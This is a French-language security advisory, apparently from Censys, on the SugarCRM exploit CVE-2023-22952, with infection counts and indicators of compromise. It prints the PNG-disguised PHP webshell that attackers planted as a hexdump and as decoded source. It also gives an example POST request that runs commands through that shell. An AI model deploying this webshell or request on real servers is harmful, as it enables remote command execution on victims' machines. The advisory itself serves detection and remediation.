Mise à jour le 17 janvier 2023: SugarCRM a fait valider par une société de forensics tierce qu'il n'y a pas eu d'intrusion dans leurs produits basés sur le cloud à cause de cette vulnérabilité. Plus d'informations à ce sujet sont disponibles ici.
Mise à jour du 11 janvier 2023 : Ce problème est désormais suivi sous le nom de CVE-2023-22952 / Mise à jour des comptes compromis
Mise à jour du 10 janvier 2023 : SugarCRM est conscient du problème, et nous avons mis à jour notre article et nos directives sur la correction de la vulnérabilité. Censys n'a pas constaté d'augmentation significative des instances compromises, mais nous continuerons à surveiller la situation.
Le 30 décembre 2022, un utilisateur répondant au nom de "sw33t.0day" a publié un exploit(lien d'archive) sur la liste de diffusion Full-Disclosure pour un système de gestion de contenu basé sur le web appelé SugarCRM. Cette vulnérabilité est actuellement suivie sous le nom de CVE-2023-22952, et malheureusement, l'exploit est actuellement utilisé pour compromettre des hôtes dans la nature et installer un webshell basé sur php.
Le 5 janvier 2023, Censys a observé 3 066 instances de SugarCRM sur Internet, avec 291 hôtes uniques compromis. Au 11 janvier 2023, nous avons trouvé 3 059 instances de SugarCRM sur l'internet et 354 adresses IP uniques contenant le webshell installé par l'exploit (soit une augmentation de 63 adresses IP).
Un message sur le site web de SugarCRM détaille la vulnérabilité et une FAQ décrit les étapes nécessaires pour sécuriser le service.
L'exploit semble être un contournement d'authentification contre "/index.php" sur le service installé. Une fois le contournement de l'authentification réussi, un cookie est obtenu du service et une requête POST secondaire est envoyée au chemin "/cache/images/sweet.phar" qui télécharge un minuscule fichier codé au format PNG contenant du code PHP qui sera exécuté par le serveur lorsqu'une autre requête pour le fichier sera effectuée. Le binaire injecté en question, une fois décodé, ressemble à ce qui suit en utilisant "hexdump" :
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 19 00 00 00 14 08 03 00 00 00 4f a9 66 |.............O.f|
00000020 8f 00 00 00 4b 50 4c 54 45 3c 3f 70 68 70 20 65 |....KPLTE<?php e|
00000030 63 68 6f 20 22 23 23 23 23 23 22 3b 20 70 61 73 |cho "#####"; pas|
00000040 73 74 68 72 75 28 62 61 73 65 36 34 5f 64 65 63 |sthru(base64_dec|
00000050 6f 64 65 28 24 5f 50 4f 53 54 5b 22 63 22 5d 29 |ode($_POST["c"])|
00000060 29 3b 20 65 63 68 6f 20 22 23 23 23 23 23 22 3b |); echo "#####";|
00000070 20 3f 3e 20 f6 18 78 37 00 00 00 09 70 48 59 73 | ?> ..x7....pHYs|
00000080 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 |..........+.....|
00000090 2a 49 44 41 54 28 91 63 60 c0 0d 18 99 98 59 58 |*IDAT(.c`.....YX|
000000a0 d9 d8 39 38 b9 b8 79 78 f9 f8 05 04 85 84 45 44 |..98..yx......ED|
000000b0 c5 c4 25 f0 68 19 05 43 14 00 00 30 be 01 2d 4c |..%.h..C...0..-L|
000000c0 1e 5a 12 00 00 00 00 49 45 4e 44 ae 42 60 82 |.Z.....IEND.B`.|
Ce qui se traduit grosso modo par le PHP suivant :
<?php
echo “#####”;
passthru(base64_decode($_POST[“c”]));
echo “#####”;
?>
Il s'agit d'un simple shell web qui exécutera des commandes basées sur la valeur de l'argument de requête "c" encodé en base64 (par exemple, "POST /cache/images/sweet.phar?c="L2Jpbi9pZA==" HTTP/1.1", qui exécutera la commande "/bin/id" avec les mêmes autorisations que l'identifiant de l'utilisateur qui exécute le service web).
| Les 10 premiers pays infectés |
 |
| Pays |
Nombre d'hôtes infectés |
Pourcentage du total des infections |
| États-Unis |
90 |
32.5% |
| Allemagne |
59 |
21.3% |
| Australie |
20 |
7.2% |
| France |
18 |
6.5% |
| Royaume-Uni |
15 |
5.4% |
| Irlande |
14 |
5.1% |
| Canada |
10 |
3.6% |
| Italie |
9 |
3.2% |
| Pays-Bas |
8 |
2.9% |
| Singapour |
7 |
2.5% |
|
| Les 10 systèmes autonomes les plus infectés |
 |
| Système autonome |
Nombre d'hôtes infectés |
Pourcentage du total des infections |
| AMAZON-02 |
73 |
26.4% |
| AMAZON-AES |
33 |
11.9% |
| HETZNER-AS |
21 |
7.6% |
| LEASEWEB-DE-FRA-10 |
10 |
3.6% |
| DIGITALOCEAN-ASN |
9 |
3.2% |
| OVH |
9 |
3.2% |
| PLATEFORME GOOGLE-CLOUD |
8 |
2.9% |
| AKAMAI-AP |
5 |
1.8% |
| SQUIZ-AS-AP |
5 |
1.8% |
| LIQUIDWEB |
5 |
1.8% |
|
Indicateurs de compromis
Un bon moyen de déterminer si votre installation de SugarCRM a été compromise est de lancer la commande suivante où "$INSTALLDIR" est le répertoire racine de l'installation de SugarCRM :
~$ strings $INSTALLDIR/cache/images/* | grep -i PHP
L'hôte a très probablement été compromis si une sortie est visible. Étant donné que le nom de fichier écrit contenant l'interpréteur de commandes Web peut être modifié arbitrairement, la meilleure méthode d'identification consiste à rechercher des chaînes PHP dans tous les fichiers de ce répertoire.
Étant donné que cet exploit peut facilement être transformé en arme, scanné et automatisé, Censys continuera à suivre cette vulnérabilité.
Les administrateurs doivent également surveiller les journaux des requêtes HTTP destinées au répertoire "/cache/images/" et prêter attention au code de réponse renvoyé par le serveur web.
- Si un code d'état 404 est affiché, le fichier n'a pas été trouvé et le code malveillant n'a pas été exécuté.
- Si un code d'état 403 est affiché, l'accès est refusé par le serveur web et le code n'est pas exécuté. Il s'agit du code d'état observé lorsque le service a été corrigé.
Que peut-on faire ?
En résumé, SugarCRM est conscient de ce problème, en a informé ses clients et a déployé un correctif pour son service SugarCRM hébergé dans le nuage. Les clients qui utilisent une version de SugarCRM prise en charge en dehors du produit hébergé dans le nuage ont été invités à télécharger et à appliquer le correctif correspondant à leur instance de SugarCRM. Les clients qui utilisent une version de produit en fin de vie sont encouragés à passer à la dernière version du logiciel dès que possible.
SugarCRM a publié sur son site web une mise à jour détaillant cette vulnérabilité.
